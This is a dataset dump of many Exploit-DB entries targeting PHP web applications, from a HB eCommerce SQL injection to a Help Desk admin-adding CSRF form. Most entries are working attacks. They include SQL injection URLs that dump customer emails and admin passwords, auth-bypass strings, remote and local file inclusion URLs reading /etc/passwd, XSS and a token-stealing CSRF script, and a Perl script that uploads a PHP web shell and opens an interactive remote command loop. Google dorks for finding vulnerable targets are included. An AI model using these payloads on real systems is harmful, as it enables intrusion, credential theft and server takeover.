deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17327
Description: HB eCommerce - SQL Injection
Type: webapps
Platform: php
Date: 2011-05-27
Author: takeshix

Exploit:
-------------[ HB ECOMMERCE SQL Injection Vulnerability ]---------------
------------------------------------------------------------------------
------------------------------------------------------------------------
[+] Exploit Title: [ HB ECOMMERCE SQL Injection Vulnerability ]
[+] Google Dork: intext:'supplied by hb ecommerce'
[+] Date: 26.05.2011
[+] Author: takeshix
[+] Author Contact: takeshix@safe-mail.net
[+] Software Link: http://www.hbecommerce.co.uk/
[+] Tested on: Debian GNU/Linux Testing(Wheezy) x64
[+] System: PHP
------------------------------------------------------------------------
------------------------------------------------------------------------
vulnerable url:

/templates1/view_product.php?product=

Example:

http://localhost/templates1/view_product.php?product=[SQL INJECTION]

Get an Mail from the Customers Table:

http://localhost/templates1/view_product.php?product=94746%20AND%20%28SEL=
ECT%20716%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%28CHAR%2858%2C122%2C99%=
2C109%2C58%29%2C%28SELECT%20MID%28%28IFNULL%28CAST%28email%20AS%20CHAR%29%2=
CCHAR%2832%29%29%29%2C1%2C50%29%20FROM%20%60web34-hbecommerc%60.customers%2=
0LIMIT%205%2C1%29%2CCHAR%2858%2C109%2C103%2C100%2C58%29%2CFLOOR%28RAND%280%=
29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%2=
9a%29%20

note: customer passwords dumped in plaintext!

------------------------------------------------------------------------
------------------------------------------------------------------------
Greez to: esc0bar | Someone | takedown
------------------------------------------------------------------------
------------------------------------------------------------------------
--------------------------[ hacktivistas ]------------------------------
Exploit-DB #3449
Description: HC Newssystem 1.0-1.4 - 'index.php?ID' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-10
Author: WiLdBoY

Exploit:
HC NEWSSYSTEM 1.0-4 (index.php "ID") Blind SQL Injection

Type :

SQL Injection

Release Date :

{2007-03-08}

Product / Vendor :

HC Design News Publisher.

http://www.hcdesign.at/demo

Bug :

http://localhost/script/index.php?option=news&aktion=komm&ID=-SQL Inj.-

SQL Inj Code :

Admin Username/Password Query

http://localhost/path/index.php?option=news&aktion=komm&ID=-1/**/UNION/**/SELECT/**/null,null,mname,null,mpassword,null,null/**/FROM/**/hcmitglieder/**/WHERE/**/id=1/*

Tested :

HC NEWSSYSTEM Version:1.4

Vulnerable :

HC NEWSSYSTEM Version:1.0

-------------------------

HC NEWSSYSTEM Version:1.4

Note :

Title

"HC NEWSSYSTEM Version:1.4"

Admin Panel

http://www.victim.com/[path]/admin

Code Upload

http://www.victim.com/[path]/admin/upload.php

Author :

UniquE-Key{UniquE-Cracker}
UniquE(at)UniquE-Key.Org
http://www.UniquE-Key.Org

# milw0rm.com [2007-03-10]
Exploit-DB #28426
Description: Headline Portal Engine 0.x/1.0 - 'HPEInc' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-08-21
Author: the master

Exploit:
source: https://www.securityfocus.com/bid/19663/info

Multiple remote file-include vulnerabilities affect HPE because the application fails to properly sanitize user-supplied input before using it in a PHP 'include()' function call. 

An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. 

These issues affect versions 1.0, 0.7.0, 0.6.5, and 0.6.1; other versions may also be vulnerable.

http://www.example.com/HPE/lang/de.php?HPEinc=http://cmd.gif?
http://www.example.com/HPE/lang/fr.php?HPEinc=http://cmd.gif?
http://www.example.com/HPE/clickerr.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/loadcatnews.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/motd.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/mod.news.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/mod.newslog.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.htmlnews.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.xmlbi.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.xmlphp.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.xmlphp.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/page.dmoz.show.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/thememaker.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/mod.news.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.htmlnews.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.xmlbi.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.xmlphp.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/page.dmoz.show.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/page.newnews.show.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/page.randnews.show.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/page.teaser.show.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/mod.news.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.htmlnews.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.xmlbi.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/news.xmlphp.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/plugins/page.dmoz.show.php3?HPEinc=http://cmd.gif?
http://www.example.com/HPE/thememaker.php3?HPEinc=http://cmd.gif?
Exploit-DB #40547
Description: Health Record System 0.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2016-10-14
Author: lahilote

Exploit:
# Exploit Title.............. Health Record System Auth Bypass
# Google Dork................ N/A
# Date....................... 14/10/2016
# Exploit Author............. lahilote
# Vendor Homepage............ http://www.sourcecodester.com/node/10430
# Software Link.............. http://www.sourcecodester.com/sites/default/files/download/Jesutoyeboluwatife/vital.zip
# Version.................... 0.1
# Tested on.................. xampp
# CVE........................ N/A


The audit_list in vital/signin.php
-------------------------------

----snip----

if (isset($_POST['submit'])){
	$lga_id=$_POST['lgaid'];
$pw=$_POST['pwd'];
$_SESSION['username'] = $lga_id;
	
	
	 $sql=mysql_query("SELECT * FROM admin WHERE lga_id='$lga_id' AND password='$pw' ");

----snip----

You can login with username and password: admin' or '1'='1


How to fix
----------
One of the method's to fix and secure such Auth Bypass flaw's, is to use the php function mysql_real_escape_string.
It causes that every of this characters \x00, \n, \r, \, '
get's replaced with a simple Backslash „/“, so the attackers commands become useless.

   Example:

if (isset($_POST['submit'])){
	$lga_id=mysql_real_escape_string($_POST['lgaid']);
$pw=mysql_real_escape_string($_POST['pwd']);
$_SESSION['username'] = $lga_id;
	
	
	 $sql=mysql_query("SELECT * FROM admin WHERE lga_id='$lga_id' AND password='$pw' ");


Credits
-------
This vulnerability was discovered and researched by lahilote

References
----------
http://www.sourcecodester.com/node/10430
http://php.net/manual/en/function.mysql-real-escape-string.php
Exploit-DB #44645
Description: Healwire Online Pharmacy 3.0 - Cross-Site Scripting / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-05-18
Author: L0RD

Exploit:
# Exploit Title: Healwire Online Pharmacy 3.0 - Persistent Cross-Site Scripting / Cross-Site Request Forgery
# Date: 2018-05-17
# Exploit Author: L0RD
# Vendor Homepage: https://codecanyon.net/item/healwire-online-pharmacy/16423338?s_rank=1499
# Version: 3.0
# Tested on: windows

# POC 1 : Cross site scripting :
1) Create an account and go to your profile.
2) When we want to put "<script></script>" in the fields,"script" will be
replaced with null.
so we can bypass this filter by using javascript's events like
"onmouseover" or "oninput" .
Put one of these payloads into the fields :
1 - " oninput=alert('xss') "
2 - " onmouseover=alert('xss') "
3) You will get an alert box inside the page . ( after put something into
the fields or move mouse on the fields)


# POC 2 : Cross-Site request forgery :
# With csrf vulnerability,attacker can easily change user's authentication.
# So in this script , we have anti-CSRF token .We can't change user's
# information without token.
# but there is a vulnerable parameter which has reflected xss in another page
# of this script.
# http://store.webandcrafts.com/demo/healwire/?msg= [We have Reflected XSS here]
# Now we can bypass anti-csrf by this parameter and using javascript:


# Exploit :

"/><form action="
http://store.webandcrafts.com/demo/healwire/user/update-details-user/1"
method="POST">
<input type="hidden" name="first&#95;name" value="a" />
<input type="hidden" name="address"
value=""&#32;oninput&#61;alert&#40;document&#46;domain&#41;&#32;""
/>
<input type="hidden" name="pincode" value="a" />
<input type="hidden" name="phone" value="100000000" />
<input type="hidden" name="last&#95;name" value="anything" />
<input type="hidden" name="&#95;token" value="" />
</form>
<script>
var token = ' ';
var req = new XMLHttpRequest();
req.onreadystatechange = function(){
if(this.readyState == 4 && this.status == 200){
var secPage = this.responseXML;
token = secPage.forms[0].elements[0].value;
console.log(token);
}
}
req.open("GET","/demo/healwire/account-page",true);
req.responseType = "document";
req.send();

window.setTimeout(function(){
document.forms[0].elements[5].value = token;
document.forms[0].submit();
},3000)
</script>

# You can also send 2 ajax requests instead of using form .
# Encode this payload and put this into "msg" parameter
# JSON result after 3 seconds :

status "SUCCESS"
msg "User profile updated !"
Exploit-DB #31321
Description: Heathco Software h2desk - Multiple Information Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2008-03-01
Author: joseph.giron13

Exploit:
source: https://www.securityfocus.com/bid/28062/info

Heathco Software h2desk is prone to multiple information-disclosure vulnerabilities.

Attackers can leverage these issues to obtain potentially sensitive information that can aid in further attacks.

http://www.example.com/index.php?pid=databasedump
Exploit-DB #12608
Description: Heaven Soft CMS 4.7 - 'photogallery_open.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-14
Author: CoBRa_21

Exploit:
-------------------------------------------------------------------------------------------
 
Heaven Soft CMS v 4.7 (photogallery_open.php) SQL Injection Vulnerability
 
-------------------------------------------------------------------------------------------
 
Author: CoBRa_21
 
Mail: uyku_cu@windowslive.com
 
Script Home: http://www.heavensoft.com.pk/

-------------------------------------------------------------------------------------------
 
Sql Injection:
 
http://localhost/[path]/photogallery_open.php?cid=-10%20union%20select%20group_concat%28user_id,0x3a,password%29+from+user_profile--

-------------------------------------------------------------------------------------------

Melekler Bize Aglar , Biz Halimize Guleriz......
Exploit-DB #12599
Description: Heaven Soft CMS 4.7 - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-14
Author: PrinceofHacking

Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[x] Tybe: SQL Injection Vulnerabilities
[x] Vendor: http://www.newyorkindoorcricket.com/
[x] Script Name: Heaven Soft, CMS Version: 4.7
[x] author: PrinceofHacking
[x] Team: Ashiyane Digital Security Team
[x] Mail : Prince[dot]H4ck@gmail[dot]com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

D0rk:"photogallery_show.php?id"


Exploit:

http://localhost/photogallery_show.php?id=-1
union+select+group_concat(user_id,0x3a,password),2+from+user_profile--

[!]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit-DB #5904
Description: Hedgehog-CMS 1.21 - 'header.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-06-22
Author: CraCkEr

Exploit:
???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                          [ Local File Include ]                          ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : Hedgehog-CMS 1.21      ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????
  

http://localhost/path/includes/header.php?c_temp_path=[LFI]



??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-06-22]
Exploit-DB #8015
Description: Hedgehog-CMS 1.21 - Remote Command Execution
Type: webapps
Platform: php
Date: 2009-02-09
Author: darkjoker

Exploit:
--+++===================================================================+++--
--+++====== Hedgedog-CMS <= 1.21 Remote Command Execution Exploit ======+++--
--+++===================================================================+++--

#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;

sub usage
{
	print
		"\nHedgedog-CMS <= 1.21 Remote Command Execution Exploit".
		"\n[+] Author   : darkjoker".
		"\n[+] Site     : http://darkjoker.net23.net".
		"\n[+] Download : http://mesh.dl.sourceforge.net/sourceforge/hedgehog-cms/hedgehog-cms_v1.21.zip".
		"\n[+] Usage    : perl ${0} <hostname> <path>".
		"\n[+] Ex.      : perl ${0} localhost /hedgedogCMS".
		"\n\n";
	exit ();
}

sub upload_shell
{
	my ($host, $path) = @_;
	open SHELL, ">shell.php";
	print SHELL "<?php system (stripslashes (\$_GET ['cmd'])); ?>";
	close SHELL;
	my $url = "http://${host}${path}/specialacts.php";
	my $lwp = LWP::UserAgent->new;
	my $req = $lwp->request	(
					POST $url,
					Content_Type => 'multipart/form-data',
					Content	    => [l_mode => 1, l_file => ["shell.php"]],
				);
	unlink "shell.php";
	return 1 if ($req->is_success);
	return 0;
}

my ($host, $path) = @ARGV;
usage unless $path;
print "[-] Exploit failed.\n" unless upload_shell ($host, $path);
my $cmd;
my $url = "http://${host}${path}/user/upload/shell.php";
while (1)
{
	print "shell\@${host}: \$ ";
	$cmd = <STDIN>;
	chomp $cmd;
	exit if $cmd =~ /quit/;
	my $lwp = LWP::UserAgent->new;
	my $req = $lwp->get (
			    	$url . "?cmd=${cmd}",
			    );
	print $req->decoded_content;
}

# milw0rm.com [2009-02-09]
Exploit-DB #34608
Description: HeffnerCMS 1.22 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-09-06
Author: MiND C0re

Exploit:
source: https://www.securityfocus.com/bid/43006/info

HeffnerCMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

HeffnerCMS 1.22 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?page=lang/interface_en.lng%00
Exploit-DB #30734
Description: Helios Calendar 1.1/1.2 - 'admin/index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-11-02
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/26312/info

Helios Calendar is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue allows attackers to execute arbitrary HTML or script code in a user's browser session in the context of an affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects Helios Calendar 1.2.1 Beta; other versions may also be affected. 

http://www.example.com/calendar/admin/index.php?msg=1&username=[XSS]
Exploit-DB #30293
Description: Helma 1.5.3 - Search Script Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-07-12
Author: Hanno Boeck

Exploit:
source: https://www.securityfocus.com/bid/24880/info

Helma is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Helma 1.5.3 is vulnerable; other versions may also be affected.

http://www.example.com/search/?q=[XSS]
Exploit-DB #51132
Description: Helmet Store Showroom v1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2023-03-29
Author: Ameer Hamza

Exploit:
# Exploit Title: Helmet Store Showroom v1.0 - SQL Injection
# Exploit Author: Ameer Hamza
# Date: November 15, 2022
# Vendor Homepage: https://www.sourcecodester.com/php/15851/helmet-store-showroom-site-php-and-mysql-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=15851&title=Helmet+Store+Showroom+Site+in+PHP+and+MySQL+Free+Source+Code
# Tested on: Kali Linux, Apache, Mysql
# Vendor: oretnom23
# Version: v1.0
# Exploit Description:
# Helmet Store Showroom v1.0 suffers from SQL injection on the login page which leads to authentication bypass of the admin account.

[+] The username parameter is vulnerable to SQLi in login page
[+] URL --> http://localhost/hss/admin/login.php
[+] Username = ' OR 1=1-- -


HTTP REQUEST


POST /hss/classes/Login.php?f=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 38
Origin: http://localhost
Connection: close
Referer: http://localhost/hss/admin/login.php
Cookie: PHPSESSID=08o3sl7jk4l442gq19s1t3hvpa

username='+OR+1%3D1+--+-&password=1234
Exploit-DB #26502
Description: Help Center Live 1.0/1.2/2.0 - 'module.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2005-11-14
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/15404/info

Help Center Live is prone to a local file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to disclose sensitive information. This may help with further attacks on the affected computer.

It should be noted that this issue may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server.

http://www.example.com/support/module.php?module=osTicket&file=/../../../../../etc/passwd
Exploit-DB #12421
Description: Help Center Live 2.0.6 - 'module=helpcenter&file=' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-27
Author: 41.w4r10r

Exploit:
# Exploit Title: Help Center Live 2.0.6(module=helpcenter&file=) Local File
Inclusion
# Date: 27-4-2010
# Author: 41.w4r10r
# Software Link :
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork : inurl:"module=helpcenter"
# Code :
---------------------------------------------------------------------------------------
############################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber
Warriors]
#Thanks:
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Mannu,Harin,Jappy,Dark_Blue,Hoodlum
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################



[+] Exploit

http://example.com/[path]/module.php?module=helpcenter&file=[LFI]



[+] POC :

http://localhost/hcl/module.php?module=helpcenter&file=../../../../../../../../etc/passwd%00



#41.w4r10r mailto:41.w4r10r@andhrahackers.com
Exploit-DB #28315
Description: Help Center Live 2.1.2 - 'module.php' Directory Traversal
Type: webapps
Platform: php
Date: 2006-07-31
Author: Dr.GooGle

Exploit:
source: https://www.securityfocus.com/bid/19256/info

Help Center Live is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this issue to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

This issue affects version 2.1.2; other versions may also be vulnerable.

http://www.example.com/module.php?module=osTicket&file=../../../../../../../../../etc/passwd
Exploit-DB #17714
Description: Help Desk Software 1.1g - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2011-08-24
Author: G13

Exploit:
# Exploit Title: Help Request System 1.1g XSRF (add admin)
# Date: 08-23-2011
# Google Dork: "powered by freehelpdesk.org"
# Author: G13
# Software link: http://freehelpdesk.org/
# Version: 1.1g

<html>
<body>
<form id="edit" method="post" 
action="http://localhost/request/index.php?sub=users&action=store&type=add" 
enctype="">
Name: <input class="FormItemTextbox" type="text" name="user_name" 
size="35" maxlength="" value=""><br>
Login name:<input class="FormItemTextbox" type="text" name="user_login" 
size="20" maxlength="" value=""><br>
Pass:<input class="FormItemTextbox" type="password" id="user_password" 
name="user_password" size="20" value=""><br>
Pass confirm:<input class="FormItemTextbox" type="password" 
id="user_password_confirm" name="user_password_confirm" size="20" 
value=""><br>
<input type="hidden" name="user_level" value="0">
<input class="btn" type="submit" value="Submit" id="submit" 
name="submit">
</form>
</body>